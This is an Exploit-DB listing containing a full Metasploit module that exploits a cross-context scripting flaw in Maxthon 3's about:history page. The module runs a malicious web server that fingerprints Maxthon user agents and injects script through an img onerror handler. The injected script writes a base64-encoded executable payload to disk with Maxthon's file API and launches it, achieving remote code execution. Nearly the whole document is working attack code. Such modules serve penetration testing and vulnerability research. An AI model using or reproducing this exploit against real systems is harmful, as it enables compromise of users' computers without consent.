Exploit-DB #23225
Description: Maxthon3 - about:history XCS Trusted Zone Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2012-12-09
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
			'Description'    => %q{
				Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
				Injection in such privileged/trusted browser zone can be used to modify
				configuration settings and execute arbitrary commands.

				Please note this module only works against specific versions of XCS. Currently,
				we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
					'sinn3r', # msf module
					'juan vazquez' # msf module
				],
			'References' =>
				[
					['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
				],
			'Payload' =>
				{
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets' =>
				[
					['Maxthon 3 (prior to 3.3) on Windows', {} ]
				],
			'DisclosureDate' => 'Nov 26 2012',
			'DefaultTarget'  => 0
		))
	end

	def on_request_uri(cli, request)
		if request.headers['User-agent'] !~ /Maxthon\/3/ or request.headers['User-agent'] !~ /AppleWebKit\/534.12/
			print_status("Sending 404 for User-Agent #{request.headers['User-agent']}")
			send_not_found(cli)
			return
		end

		html_hdr = %Q|
		<html>
		<head>
		<title>Loading</title>
		|

		html_ftr = %Q|
		</head>
		<body >
		<h1>Loading</h1>
		</body></html>
		|

		case request.uri
			when /\?jspayload/
				p = regenerate_payload(cli)
				if (p.nil?)
					send_not_found(cli)
					return
				end
				# We're going to run this through unescape(), so make sure
				# everything is encoded
				penc = generate_payload_exe
				penc2 = Rex::Text.encode_base64(penc)

				# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
				# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
				# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
				content = %Q|
				if(maxthon.program)
				{
				var fileTemp = new maxthon.io.File.createTempFile("test","exe");
				var fileObj = maxthon.io.File(fileTemp);
				maxthon.io.FileWriter(fileTemp);
				maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
				maxthon.program.Program.launch(fileTemp.name_,"C:");
				}
				|

			when /\?history/
				js = %Q|
				window.onload = function() {
					location.href = "about:history";
				}
				|

				content = %Q|
				#{html_hdr}
				<script>
				#{js}
				</script>
				#{html_ftr}
				|

			when get_resource()
				print_status("Sending #{self.name} payload for request #{request.uri}")

				js = %Q|
				url = location.href;
				url2 = url + "?jspayload=1";
				inj = "?history#%22/><img src=a onerror=%22"
				inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
				window.location = unescape(inj) + inj_1;
				|

				content = %Q|
				#{html_hdr}
				<script>
				#{js}
				</script>
				#{html_ftr}
				|
			else
				print_status("Sending 404 for request #{request.uri}")
				send_not_found(cli)
				return
		end

		send_response_html(cli, content)
	end

end